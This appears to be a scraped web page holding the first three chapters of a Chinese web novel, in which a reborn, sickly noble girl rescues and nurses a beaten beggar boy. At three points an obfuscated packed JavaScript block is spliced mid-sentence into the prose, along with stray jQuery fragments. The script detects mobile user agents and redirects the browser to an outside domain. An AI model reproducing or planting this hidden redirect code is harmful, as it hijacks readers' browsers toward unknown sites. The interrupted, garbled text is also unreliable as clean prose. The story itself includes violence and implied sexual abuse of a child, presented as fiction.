《养大的反派疯魔了》
1. 第 1 章
辽州城中,一辆繁贵富丽的马车徐徐驶过,拉车的两批棕红大马俊美高挺,那车厢窗牑镶金嵌宝是何等的华美精致,不难想是哪家贵人的车架。
“萍亭,到哪了?”
一只戴翠绿玉镯的手撩开淡蓝色的绉纱,车中美妇头顶的珍珠流苏晃了几分,便又飞快放下车帘回了身。
车中柔软塌上,熟睡中的小姑娘姬时语喏喏睁眼,朝自家娘亲撒娇讨抱,“娘……”
“姑娘醒啦。”
萍亭连忙从车厢箱笼之中取出一件浅绿对襟外衫,给自家小姐披上,生怕她着凉,再又忙不迭回夫人的话,“夫人,待出了城,再过半个时辰就能入京了。”
“娘。”
姬时语巴掌大的小脸紧紧窝在美妇怀中,皱皱巴巴的,眉眼还留有心悸的痕迹,尤其是那眼角凝着一滴未散的泪看得舒氏好一阵心疼,抱着亲女就是一阵直呼“我的心肝,我的阿锁,可又是哪里不适了”。
舒氏,姬时语之母,便是忠义侯府大夫人,更是舒家的嫡长女,样貌容雅,气质端庄。
忠义侯府共三房,大房二房同在京中,三房留在老宅照顾老夫人。
舒氏膝下共有二女,长女姬合英已是及笄,次女便是姬时语。
大房唯舒氏一门妻子,姬时语之父姬雄武连个妾都未纳,两人孕育两个女儿,并未有一子。
为这事老夫人没少着急,奈何姬雄武态度坚决,誓只守着妻女,夫妻二人恩爱多年鲜少红脸。
忠义侯府向来崇尚从武,侯爷姬雄武留守边关岭西。而长女姬合英则素爱红缨,随父习武,如今姬雄武还未归京,姬合英被他一同带去了岭西,小女儿姬时语留在京,由舒氏照料。
姬时语没能继承将门之风,无他,她生时舒氏动了胎气,不足月便早产,因而落下了心悸的毛病。
儿时多走几步路便大喘气脸色涨红,光是她那脆弱又病缠的身子,都惹得全府上下呵着护着。这般的孱弱,又如何能习武?
有几回姬雄武同舒氏道,让女儿摸摸刀枪,或许这病就好了。
可舒氏像是老母鸡护小鸡,头一回和姬雄武红了脸,扬言他胆敢带着小女儿去练武,她绝对要和他拼命。
姬雄武再不敢提一个字。
也是因着愧疚,舒氏更是对小女儿倍加怜爱。
大夫曾说,要让小姑娘静养少奔波,姬时语养到十岁大都不曾外出,这十年来她身体每况渐好,舒氏的笑容都会多上一分。
“阿锁?”舒氏轻轻唤了一声女儿的乳名,却见亲女在怀里摇了摇头。
此番离京,还是姬时语的外祖母舒老太太信中念叨想念宝贝孙女。
舒老爷子曾是当朝大儒,当年舒氏嫁与忠义侯姬雄武可谓是门当户对,只是姬时语出生之前,舒老爷子便上呈天听主动请辞,带着舒家离京回了老宅。
因而舒家人不曾见过舒氏的小女儿姬时语,舒氏想到近十年老太太屡次念叨小外孙,她才带着小女儿出这趟远门。
如今见姬时语体弱,承受长途奔波还是太难,那内疚之感涌上心头,充斥舒氏的整颗心。
“娘,我无事了。”姬时语眼尖,看出自家娘亲又是担心自己,甜笑撒娇。
“真的吗?”
“嗯。”
姬时语只觉得心口那股窒息的感觉疏解了许多,方才她做了一个梦,梦里的一幕好似让她回到了前世,只是一瞬间,她就闭不过气来。
她这幅破落身子本养的差不多了,前世死前仍旧复发心悸,尽管重生回来百般留心,可每每午夜梦转,醒来后还是绞痛难安。
姬时语攥紧身上的云龙纱长衫,好看的圆眼垂下,她竟在无意之间背负上了那样沉重的事。
“小姐,可要来一颗蜜饯?”萍亭从小匣子里取来吃食,路途怕她不适,舒老太太特地吩咐下人准备了辽州的小食,蜜饯、腌杨梅果还有糖渍梅干。
萍亭的呼唤让姬时语回过神来,她双眼亮晶晶,喜笑起来,“萍亭,我要糖渍梅干。”
糖渍梅干酸酸甜甜的,姬时语吃到口中,心腔都被甜味填满,哪里还记得愁思不快的事。
“你这个小馋猫儿。”舒氏笑着抬手抚摸女儿的额头,见她没有发热,脸色红润,嘴唇不再发白,是缓过来了,她又道,“阿锁,待回府再让林大夫给你开两方药吃吧。”
姬时语摇得如拨浪鼓,抱紧蜜饯罐子,“娘,我不要!”
她最受不了满鼻子满嘴的苦药,上辈子吃了十几年都快腌入味了,这辈子自然是能不吃就不想再吞的。
“不吃药你这病怎能好转呢?”舒氏蹙眉担忧不已。
姬时语提溜眼珠子,“娘,我们到哪啦?”
“应要出城了罢。”
姬时语有心避开吃药一事,转而随手撩开了车帘,辽州城门口俨然就在前方,只待出了城门,不肖多久就能抵京回府。
也不知道姐姐可回了京,她早就馋随州的桂花蜜了,前不久去信让姐姐多带两罐回来,她想泡着羊奶吃……
姬时语舔了舔唇,思绪还在美味的奶香桂花蜜,余光一瞥,皙白的手几乎僵直在了空中。
“呜……”
辽城杨柳胡同里的阴暗角落,一个少年蜷缩着。
猛烈的扇打撞击将那颗头颅狠狠砸在了墙上,他扭曲起来,血花顺着头颅他的脸颊一滴、一滴落地。
呜咽随风,隐忍不见。
“停下!”姬时语顾不上心脏的剧烈疼痛,这濒死的跳动,她瞩目死死那少年。
狐狸眼、脖上痣。
江曜!
是他吗?
是他!
这是姬时语前世至死忘不掉的人,她的心病。
她迅速跳下马车,提裙小跑,边喘边喊,“给我住手!”
江曜只感到双眼都被糊住,血液沸腾着,血色雾蒙蒙,他是快要瞎了?
“啊!”有人似杀猪的惨叫。
江曜反手将袖中的匕首喂进了他的心窝,他甚至看不见那盛况,但仍旧阴恻恻地笑了。
辽城之内被这些人划分地盘,他一个外来人自第一日起就被不停的驱赶离开,今日不过是从一户人家那讨到了一口饭吃,便遭到十几个人的聚众殴打。
江曜从来都是睚眦必报,就算是死,他也要拉个垫背的。
耳朵嗡嗡作响,面前之人却散开了。
“哪儿来的小丫头片子?”
“欠打,那就一起收拾了。”
“你们做什么?萍亭,柳嬷嬷,立马去报官,我倒要看看这辽城是无法无天了,光天化日之下竟有人草菅人命。”
舒氏慈眉善目的脸板了起来,乞丐们一看有贵人来了,哪里还敢围聚,一个比一个精,撒开腿转眼不见了踪影。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040551|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
柳嬷嬷才是明白这些个溜子势利眼的很,“夫人,要追吗?”
江曜只感觉身上一轻,抓他衣襟的乞丐甩了手,他站不稳,突然一双手臂撑在了身后。
姬时语顾不上他全身泥泞,扑过去就将人接住。
鼻息间是女孩子独有的玉兰花香,透过茫茫血色,江曜望到了一束光,那张还显得稚嫩的银盘小脸已有了小荷尖尖的貌美。
是天上下来的漂亮小仙子?
江曜死咬住牙齿,经历了那么多生死劫,他什么也不信,就算是菩萨降世又如何?
他会一并将菩萨拉入地狱!
“放开!”江曜怒斥双眼,狐狸眼里目光凶狠,一把推开姬时语。
他的手发软,姬时语的身子只后退了一步,而江曜却一头栽倒在地,额上的血蜿蜒不止,整个人再无生气。
“娘!娘!”姬时语太慌了,她怕死了江曜此刻的样子,掏了帕子就捂住他脑袋的血窟窿,“娘,快救救他!”
“这都是在闹什么?阿锁,起来。”
舒氏见不得自家亲女满手鲜血,那感觉会令她想到不愿设想之事,舒氏让萍亭将人抱起,可姬时语哪里依得,神色哀求,攥着她的衣袖带了哭腔,“娘,他不会死了吧?求你了,送他就医吧,呜呜……”
“阿锁心善,娘就听你的。”
舒氏叹了口气,喊来侍从抬起江曜送去就近的医馆,她瞧见姬时语目不转睛盯着他的模样,心生些许的怜悯,那孩子也不过半大,却被城里的乞儿们不知死活轻重的打,着实是可怜见的。
今日阿锁有心想救人一命,路过把人送去就医能治好是最好,只当为自己可怜女儿积善了,舒氏如此想。
可她这般想,姬时语却不是。
医馆的郎中给江曜清洗了伤口,上药包扎,不多会郎中便一脸为难地来寻见舒氏。
他直言伤势过重,小城恐怕难以医好,日后很可能留下残疾。
郎中瞧了眼舒氏衣着华贵,心中了然,“夫人若是有心想治好这孩子,需得换个好医馆了。”
舒氏本想说罢了,姬时语却抱住她的腰,可劲的撒娇,“娘,咱们善人做到底,就把他带回府去吧?今日女儿没看到还好,可看见了,若是,若是他治不好了,回头晚上哪还能睡得着?”
“他好惨啊,那么多血,一定很疼吧,就像我吃好多好多药一样痛苦。娘,我看见他那么痛,阿锁的心口也好疼好疼呀,阿锁不想疼。”
小姑娘圆脸鼓鼓,方才小跑身体抱恙脸色惨白,说起这事捂着心口一个劲喊痛,眼底泪花要掉不掉。
舒氏哪还有不依着她的道理?只得点点头。
一行人忙着又把江曜抬上车,舒氏便望着姬时语脆生生使唤着人:“把他抬进去,对对,就放在软榻上,别碰着了。”
下人们听夫人道:“回府吧,莫要迟了。”
舒氏跟着上了马车,挪到车厢的一侧,“好了,阿锁,到娘这里来。”
姬时语摸过来,她擦了泪珠,舒氏小心翼翼地给她揉背,缓解心口的疼痛,姬时语小猫儿似的轻轻挨着她,声音软软糯糯,“娘,他能好吗?”
大夫说,他断了一条腿,聋了半边脸,伤势惨烈。
姬时语的圆眼死死盯着江曜侧脖颈的那颗痣,阖了睁,睁了阖,心脏突突跳动——
她要救他。
2. 第 2 章
阳春三月,枝条吐露的花苞点缀在幽静雅致的小院,宛如那娇俏的少女,将晕红的娇颜。
自打舒氏归府后,忠义侯府上下人尽皆知,大房此番从舒家探亲归京,五小姐姬时语竟在路途捡回了个乞儿。
都道五小姐病的不轻,怕不是连脑子也烧坏了,路上遇到个阿猫阿狗亦要收容府中的,可没平白惹人笑话。
好在如今大房当家,舒氏身为主母,清扫了各处的流言蜚语,敲打敲打那些个嘴碎之人,不允任何污秽舞到姬时语跟前。
而二房相当乐于见大房闹出的笑柄,听闻大房回府,下人们抬下来一位脏兮兮的乞儿,模样是何等的不堪入目,二房的二小姐姬如静说起时,那张端正的瓜子脸上挂满了讥讽。
“娘,你说姬时语真不是病到脑袋瓜子里了?她再怎么胡来也有个头吧,仗着大婶娘是忠义侯夫人,什么人都往府内带,这说起去不得丢人死了?”
光是想想京中各家小姐妹若知道这事,连带她脸面挂不住,姬如静就恨姬时语牙痒痒。
姬时语那丫头小时候病怏怏的,每每大房二房之间,姬如静无论何事都只能让着姬时语,她心中不满,姬时语究竟凭什么?
傅氏凝在姬如静脸面上的眼轻轻挪开,她不是看不见女儿因嫉妒扭曲的神情,只是蹙眉道:“静儿,这话不可让你大婶娘听到。”
“呵,我知道,娘。”
姬如静没有收敛,只是冷笑,“不就是为了那个,我们二房如今只能忍气吞声吗?我都懂,可是娘,这日子何时才是个头啊,再这么下去,我真怕哪一天我就下手挠花姬时语的脸了!”
出身户部侍郎府的傅氏,到底要比十三岁的姬如静要沉得住气多了,她瞥来一记眸子,姬如静当即化愤慨为平静,傅氏又道:“左不过就这两年,忠义侯府的世子需得定下来了,这事由不得你大婶娘。”
思及此,姬如静心情爽快许多,因而就欢笑道:“也不知道哥哥可回来了,我去瞧瞧。”
思芳院。
经姬时语那么一挑,舒氏依着她让人把江曜安置于此地。
江曜伤势过重,不宜耽搁,一行人刚回府,姬时语就催着舒氏为江曜寻大夫。
屋内江曜仍在昏迷,京中大医馆的林大夫诊治一番后,出屋便与舒氏道:“夫人,老夫已是重接上了错骨,养些时日就能长好。至于那耳聋,每月都得扎上一回针,再佐以药治,日后亦可好全。”
舒氏第一时睨身侧的小姑娘,“阿锁可放心了?”
姬时语拍拍小胸脯,长舒一口气,又冲着林大夫甜甜笑道:“谢谢林爷爷。”
忠义侯府的五小姐乃是林大夫的老病人了,这丫头从小就过他手诊治,小小的病弱身子养了十年渐渐好转。
“好孩子。”
小姑娘生得葡萄大水汪汪的黑眼睛,好一副灵动俏丽的容貌,偏还爱笑,林大夫最是喜欢她,伸出手便抓了她手腕把脉,“让爷爷看看。”
姬时语乖巧地顺从。
林大夫摸完了,笑着摸胡须,又和舒氏点头,“五小姐身子未有不适之态,是好事啊。”
舒氏感激不尽,命下人们送林大夫回医馆。
“阿锁,可要回去?”舒氏走前,又是询问。
姬时语双眼透着微光,她喃喃道:“娘,我还不想走。”
“那你就守着他醒来吧,他一定会感谢你,是你救回了他呢。”
“他会吗?”
“他会。”
舒氏慈爱地抚摸姬时语头顶的双丸髻,她盼着爱女对这个世道的人和事都单纯些,更期望她的善心都能得偿所愿,为此她愿意牺牲一些东西。
“阿锁,娘先回了。”
“好。”
仆从们都被舒氏留在了思芳院,她到底留了个心眼,江曜晕倒之前如凶狠的狼崽子,未免万一,舒氏绝不允许有人伤她的女儿。
思芳院转瞬寂静,这安静令姬时语没来由的心中发慌,她侧头就喊,“萍亭,同我说说话吧。”
“小姐不是想进屋看看他吗?”
“他何时会醒呀?”
“林大夫说就是今日了。”
姬时语推开屋门,萍亭走上前撩了内室帘子,她一步一步轻脚踏入,映入眼帘的,是江曜禁闭的双眼,与侧脖颈上夺目的痣。
姬时语怔了神。
前世,江曜是她死前的执念。
上一世姬时语已是及笄,她在姬府受尽宠爱十五年,从未历经任何苦难,性子娇纵。
父爹娘疼她并不急着嫁她出去,她乐得在屋中钻研文墨写些话本。而那时她的闺中密友,礼部侍郎之女杜南霜来到姬府探望她时,恰好谈及京中一则奇事。
安国公府嫡长女柳眉找回了楚王爷失散多年的孩子江曜,江曜却是从小在乡野长大,不懂礼数,送回时人如乞儿蓬头垢面。
“楚王世子那模样我见了都得做噩梦,应是在外受尽了折辱,他看谁都跟要吃了人似的。”杜南霜说起那一面之缘,又咂舌,“可他唯独对柳眉另眼相看。”
姬时语听着新奇。
“阿锁,你可要写个新本子?江曜这事,太馋人了!”
杜南霜神秘兮兮地凑过来,她最是清楚姬时语有着一手好笔墨,擅长写话本,而没有什么比流落民间的皇室子弟过往烟云更来的引人注目,“你说,江曜可是倾心柳大小姐?但柳眉是陛下亲笔赐婚的三皇子妃啊!”
姬时语回道:“不会吧?”
杜南霜附在她耳边悄声道:“柳大小姐不见了,三皇子却和楚王世子反目成仇,你觉着呢?”
姬时语被这桩皇室辛秘刺激得瞪目,而后她思绪泉涌,当夜就赶出来一本《金笼》。
尽管她化了名,还是让人一眼辨识,这两男抢一女的戏码,自古世人百看不厌。
又过了几日,全京城都为楚王世子江曜闹得沸沸扬扬。安国公府嫡长女、三皇子妃柳眉被江曜掳走不见踪迹,话本《金笼》多方传阅,酒楼茶馆四处一说书,讲的都是准皇妃惨遭白眼狼恩将仇报的故事。
十二月的天,一场绵长的大雪落下,姬时语乘坐马车回府。
冰冷的寒风裹挟着悠远的声音,“却见那时,小姐眼中含泪,恳求那人能忆起半分恩情,往开她一条生路……”
姬时语掀开车帘,大片雪花砸下,街边入目堆满了白,茶馆“回心阁”的说书人还在眉飞色舞,她转头,睨到四方胡同巷子里一具半高的雪堆。
与雪不同,凝固的白色混杂了刺目的红,有个人躺着,一动不动。
“小姐,那是……”萍亭刚要开口说那人的手还在动,却见冷风灌入,车里不住的咳嗽声让她立马改口,“天太冷了,还是快些回府。”
白雪纷飞,姬时语看了眼天,最终还是放下帘子,回了府。
那日夜里,忠义侯府,父亲焦头烂额,母亲在旁不住安慰,姬时语听着。
“江曜他绑了三皇子妃,三皇子将人伏诛,楚王府找了一天一夜,他人早就凉透了,身上的积雪都堆了两尺高,就在那回心阁旁的巷子里!”
“唉,谁能想到,江曜竟是白家的后代?我对得起天,对不起地,独独对不起白家啊。是我亲自带兵抄了白家,白大哥不怪我,只求我护他亲妹,可江曜沦落乡野,还这样惨死,我无颜面对他啊……我若是能早些遇见他。”
“那孩子,白家最后的后代,也就不会死了。”
父亲痛哭流涕,他怨自己没能早知道江
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040552|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曜的存在,早一步救下他和白氏,恨自己让那对寡母孤儿沦落至今。
而姬时语只听得见“回心阁、狐狸眼、脖上痣”几个字,她恍恍地想,放下车帘的那一刻,她看到的那双失了瞳色的狐狸眼,竟会是江曜!
而那个时候,江曜还没死……
京城的雪越下越大,姬时语病倒了。
杜南霜送来信慰问,信中她道江曜掳走柳眉,后三皇子在大雪之中将他一剑穿心。
信的最后是一百两银票,话本子所得。
姬时语颤抖着握不住信纸,她心口巨痛,压得她喘不过气。
她后悔、愧疚,那让江曜一步步走到今日惨死地步的,是姬府,是她。
这一百两像在扇她的脸,以江曜的血泪换得,她怎么能?
那个时候,若她下了马车,是不是就能救他的性命,江曜也就不会死?
她父亲也就不会痛不欲生。
咳咳咳!
一百两银票落了地,姬时语手一松,就那么闭了眼。
心结到死未解。
“小姐?小姐?”
萍亭的呼唤让姬时语迷蒙的眼流动起水光,她轻声道:“你去端盆水来吧,他脸上脏脏的,这么放着不好。”
应下后,萍亭转头去端盆倒水。
姬时语在江曜的床榻边坐了下来。
在乡野流浪多年,江曜的头发生了污垢,更是打了结,手臂与双腿布满伤痕,透过脏污依稀可见愈合的痂口。
“小姐,水来啦。”萍亭端着水回来,她刚要拿帕子净水给江曜擦拭,姬时语却接了过来,道:“我来!”
她很乐意做些事,只为心安。
这一世,她救下江曜带他回府,只待父亲归京。若白氏之后能安然活着,父亲一定不会再受过往所困了。
而她亦是,江曜在,她的心结便再无。
姬时语心下大好。
萍亭想劝,奈何姬时语执意,看着小姑娘趴在床头弯腰,萍亭连忙过去扶住她的腰肢,生怕她身子不稳栽倒。
姬时语手里的帕子刚触上江曜的脸,床上那人骤然睁开了他那双阴沉的狐狸眼。
四目相对,少年眼里凶光毕露,充满了狠戾与愤怒,显得如厉鬼阴森可怖。
啪!
姬时语手一抖,帕子就这么盖在了少年的脸上。
屋内又冷上一分,姬时语知道自己坏了事,飞快捡起帕子,又爬下床头,乖乖站好。
床上的少年紧紧盯着她,好似一只蛰伏着盯瞧猎物的猛兽。
姬时语只觉得毛骨悚然,但眼下都这样了,她不能怂,更不能胆怯,佯装起镇定便道:“我是看你脸上太脏,才想给你擦擦,你莫要多想呀。”
江曜没听她多言,挣扎着便撑手坐了起来,姬时语立马扑过去摁住他,“你做什么?林爷爷才给你正骨,他说了你得好生养着,不要乱动。”
眼前白嫩的小脸一本正经,仿若不知死活的幼崽,用她那稚嫩的牙齿极力咬住了他。
江曜抬起眼,他冷漠的声色响起,“我要走。”
偏那只不知死活的幼崽声音又软又甜:“你还能去哪里,你身子都没好?”
江曜烦了,一把推开她,“让开!”
姬时语气不悦鼓起双颊,她叉腰站在江曜的床头,瞪眼道:“我又没挡你的道,有本事你就靠你的双腿走、出、去。”
江曜终是见识到了什么是幼崽怒了也会咬人,没有杀伤力却有威慑力,且最重要的是,他的腿——
走不了一点。
姬时语自是看出来了,哼哼道:“好嘛,你走呀,我让路给你走,我不阻碍你了。”
看着她,江曜的牙咬出了声响。
3. 第 3 章
今日的姬时语梳着双丸髻,两个小揪揪各别了一朵戴小铃铛的花丸,落发披肩。
小脑袋瓜子晃动两下,清脆的铃铛声便在屋内回荡,一如她婉转的脆笑声。
江曜后知后觉自己被戏耍了。
他的脸色微微难看,有些不堪的回忆涌上心头,他阖上了眼眸,极力克制着自己的情绪。
“好啦,真该擦拭一番才好,不若我都成了那凌虐人的小主子咯。”
萍亭轻声笑起来,“小姐,府上都说你口味独特的很,光是擦或许不足够,可要奴婢们抬着他去浴房净洗?”
“等他腿脚稍好一些再去。”姬时语音色轻柔。
闻言,江曜睁开了那双狐狸眼,眼瞳冰冷霜雪,复而极快又闭上。
姬时语喊来萍亭,此刻的她压根没留意江曜低沉的心绪。
只是看他闭着眼不搭理人,她便自顾自地凑近,很有耐心地说,“你也不想一身脏污吧。”
江曜的脸庞印着几块巴掌大的泥巴,姬时语手里的帕子缓慢地抚上了他的侧脸。
女孩用着柔柔怕碰疼他的力道,柔软的巾帕一下一下触碰过他的肌肤,和着她身侧幽香的玉兰花味,无一不令他坐立难安。
每一刻,都似在烈火中的煎熬。
姬时语方才擦拭了一小块,江曜便怒而睁眼,一手夺走她的帕子,“我来!”
那样的折磨人,他宁愿打初就不要有。
“诶,你慢些呀!”
姬时语才喊出声,那面江曜已是用了十万分的力道。
只见他的双脸都被揉搓的通红,泥巴印虽褪去,可露出的皮肤也都近乎擦破。
姬时语赶忙夺回帕子,不住埋怨,“哪有这样擦脸的,不知道还以为你多恨自己呢。”
江曜顶着一张被擦红的脸,冷眼看过来,“为何?”
他擦他的,连用多大的力道她都要管?
姬时语不满地噘嘴,“我很怕疼啊,瞧着别人身上的伤,我可能感同身受了,这会儿我的心口疼疼的,你弄疼了自己,也弄疼了我,我很不喜欢呀!”
江曜扭过头,不说话。
片刻后,柔软的帕子又抚上了他的右脸,江曜一惊,便要转过脸来,却听那娇俏的小姑娘喊道:“不要动,我先把你发梢这侧洗一洗,等后头萍亭拿了新衣裳之后再洗发。”
江曜不动了。
姬时语先给他擦了额头,又是发梢和耳后根,再顺着后脑勺往脖颈往下,力道一如既往的温柔。
可也不知道为何,那晦涩的红润就跟着她所到之处,一路蔓延。
“够了。”
江曜染红了耳后根,再到侧脖子,他终是忍不可忍,阴沉下脸,嗓音哑了两分。
姬时语狐疑地停下了手,她问道:“怎么啦?”
江曜抢了帕子,一把就丢在水盆里。
也不管那水花飞溅,他立马朝后靠去,床幔一撩,忿忿遮住红起的脖颈和耳朵。
洗过脸蛋之后的江曜露出了原本的容貌。
少年身形偏瘦,一双阴郁狐狸眼略显风华,唇色浅淡,鼻梁高挺,虽脸色苍白,可与墨黑的眉梢,自成一张顶好的山水墨画。
姬时语腹诽:他还小,就生得这样好看,长大了还得了?
只可惜前世走了歪路,白瞎了一身的好皮囊。
而如今江曜瞪着自个儿,狐狸眼闪过异样的光芒,姬时语圆圆的猫瞳眨巴无辜,“我瞧着干净了许多,这不是好看多了吗?”
江曜咬了咬牙,想说的话转了几道最后还是咽了回去,阴恻恻道:“只因为那点可怜,你无需做这些。”
这话说的不错,却有些伤姬时语的心,她明媚的笑脸霎时凝住了笑。
江曜见她突而缄默,白玉小脸失了笑容,亦意识到伤了她心。
她是关心他,可他却说了不要她的关心。
脑海里翻涌着的,全是那些不堪的阴暗过往,江曜脸色跟着发沉,狐狸眼霎时阴冷,绝了解释的念头。
两人之间弥漫了一会儿尴尬的沉静,很快,萍亭便抱着换洗的新衣裳折回了。
姬时语睨了眼床头别脸的少年,心头那股气还没去,哼了又哼,“萍亭,你去喊林妈妈来,你俩给这人摁住,把他的上衣给我扒了!”
“你敢!”
果不其然,床上少年阴郁的眼十分不悦。
姬时语抱着手臂,娇俏小脸扬起一抹深意的笑,“我当然敢。”
没良心的小兔崽子就该被好好治一治,嘴里吐着刀子,身体还激烈抗拒。
她算是发觉了。
这落难的少年便如被遗弃的猛兽崽崽一样难搞,非但不好驯服,还会在你施加善意的时候,猛咬你一口。
姬时语不禁思忖,前世杜南霜说柳眉将江曜送回了楚王府,那一路上究竟发生了什么,能让江曜这等见人就咬的性子全心全意善待一个人?
“我不需要。”江曜满脸阴沉盯着萍亭,很快他的眸子投到姬时语这面,“你让她们走。”
江曜是明晓的,做主的只会是姬时语。
姬时语了悟地点点头,发髻之上的花丸铃铛脆生生荡开,她眯眼笑得璀璨,一口白牙露出,“原来你是想我给你脱啊。”
江曜的嘴张了张,狐狸眼瞪圆了,想反驳,又说不出话来,只觉得姬时语歪曲,他是这个意思?
“哎呀,你早说嘛,口是心非不肯直言面对,好啦,这也不是多大的事。”
就在这一晃眼的功夫,姬时语已来到他跟前。
“你多大了?莫非是觉着长大了,男孩子有些丢面子,不好意思让萍亭和林妈妈伺候你?”
她白嫩的小手碰到了他短卦的前襟,就那么一点儿点儿地解开,樱桃小嘴叭叭叭,“没事哒,她们只会当眼瞎了,什么都没看到。”
江曜真想堵住她那张嘴。
可这会儿更要命的是,姬时语手下两下就解开了他的衣。
眼看半个身子都被袒露,他那双狐狸眼又怒又急,捉住了她继续扒拉的小手。
“我不是!”
“不是什么?”
“你身子脏死了,需得换身衣裳,”姬时语没想那么多,她被抓住双手也不恼,反手就用幼崽般软软的掌心贴回去,“不要闹,你听话一点,不然我真要生气了喔?”
江曜哪听过这样哄人的招式,真是把他当作小孩子似的。
这可比外头那些拳打脚踢还要来的可怕,让他怎么都狠不下心来。
他想用力拽扯姬时语下来,掌心贴着的那柔软,却是女孩嫩嫩的手掌。
那是被娇养着的,自小到大都未吃过苦的娇气,和自己是不同的,是云泥之别的差别。
江曜使不出力气了,他冷着脸,随意姬时语的摆弄。
好在姬时语只给他脱了上衣,没去管下半身。
至于擦身,江曜死活不让姬时语再碰半分,少年自己擦了一道后,便取来萍亭手里的圆领半袖褂子套在了身上。
姬时语眼见他身着宝蓝色,气色可好了不少,满意颔首,“等把这头发洗了梳干净,便更好了。”
萍亭和林妈妈在旁看得心惊肉跳,两人对视一眼,齐齐冒出个怪异的念头。
自家小姐莫不是把捡来的小乞儿当什么好玩的人偶了吧?
又是亲自擦身,脱衣洗发的,还要给人买新衣裳打扮,软声哄着人,怪哉,太怪哉了。
林妈妈没忍住开了口,“小姐,您顾着点身子,歇会儿。”
姬时语摸了下心口,“还好,身子没有不舒服呢。”
江曜顺着看了过去,萍亭扶着姬时语,关怀道:“今日小姐该做的都做了,您也该回去歇着了。”
“可是……”
“小姐,夫人那头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040553|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若是知晓您赖在这儿,定要发火的。”
姬时语复而回头,江曜本就一直都在看她,这一下直直对上,姬时语露出绚丽的笑。
江曜立马扭头,就听她道:“你好生歇着,不可挪动,要养腿伤,要听话。”
江曜心口不可理喻地恼火。
又是这样。
他是三岁小孩,还是一只小狗,需要哄着的吗?
姬时语也不管江曜应不应,少年的侧脸影入帷幔之中,她领着丫鬟仆从们离去。
“萍亭,明儿都有什么好吃的呀?我想吃肉末鸡蛋羹,还有奶香糖球。”
“那奴婢与小厨房的知会一声。”
“姐姐什么时候才能回来呀,那桂花蜜我想他尝一尝,可好吃的。”
“大小姐呀……是快回了。”
“那明日你让小厨房的做些好吃的送来思芳院,我要……”
江曜循着声音挪眼,那叽叽喳喳声渐而远去。
明日?她要送吃的来?
直到夜幕深深,江曜翻来覆去地没睡好。
梦里一会儿是那娇俏的小姑娘拿帕子为他擦脸,周身的玉兰花香将他包围,一会儿又是她缠着嘟嘴撒娇,得逞后捂嘴偷偷笑。
正在这时,一道恶狠狠的讥讽声响起,江曜感觉自己被人揪住了耳朵,撕扯着拖拽。
“江池生,你最好是放乖点,今儿就听妈妈的,伺候好那些个老爷官家,不若,我非得打断你的另一条腿!”
江曜疼得喊叫,那时的他才是十岁,可却被打断了一条腿。
他从梦中惊醒,满头是汗,窗棂之外透出晨曦,已是清晨。
思芳院中有了交谈声,江曜的心跳如鼓,似期待,又似抗拒。
是她来了吗?
“五妹就是让你们伺候着的,哦?她倒是很看重这半路捡回来的小乞儿啊。”
江曜的脸沉沉黑了下来。
这声音的主人,不是她。
“都给我让开,我要看看五妹带回府了个什么东西!”
江曜一双眼注视着屋门,隔扇门被猛烈推开,一身华服的女子径直入内,待见到江曜蓬发脏乱的那一眼,姬如静瞬间大笑。
“就是这么个东西?”
江曜未动,狐狸眼阴沉。
舒氏和姬时语江曜已见过,母女俩喜欢素雅,而姬如静却是穿金戴银。
她笑得花枝乱颤,连带金穗子都打在了脸颊之上。
姬如静狠狠笑过一通才爽快,她勾起食指,狭长的眼满是嘲讽,“别说,还真像姬时语会干出来的事,从外头旮旯地里捡回来的一条狗啊。”
江曜手腕暴起青筋,看她的眼神仿佛在看一个死人。
“这样看我可没用,带你回来的是姬时语。”
姬如静丝毫无畏,她视江曜如一件物什,“你就没想过她为了什么,非要捡你这个非亲非故的小乞儿?”
说者无意,听者有心。
“咱们忠义侯府的五小姐啊,最是喜欢养些个稀奇古怪的东西了。”
姬如静拨弄指甲痴痴笑,她点他,“而你,就是一条她逗着好玩的狗。”
江曜的眼中恨意从生,他撕碎了曾生出的、浅薄的美梦。
不到七日,他就忘了?
佯装成菩萨的贵妇,在粥棚遇到了狼吞虎咽的他,她心善,声音温和,愿意救济于他。
事后,贵妇带他去到了府邸的偏院,好生照顾。
江曜被软禁般养着,模样显露的那天,贵妇把他送去了主院。
她竟然亲手把他送到了丈夫的榻上。
左右他连个人都不如,不过都是权贵人家随意玩_弄的玩意,想用就用,想丢就丢了。
他早就经历过同样的事,为何还在无端的期待?
期待着什么,不是世家娇小姐的玩_物,不是姬时语的一条狗?
4. 第 4 章
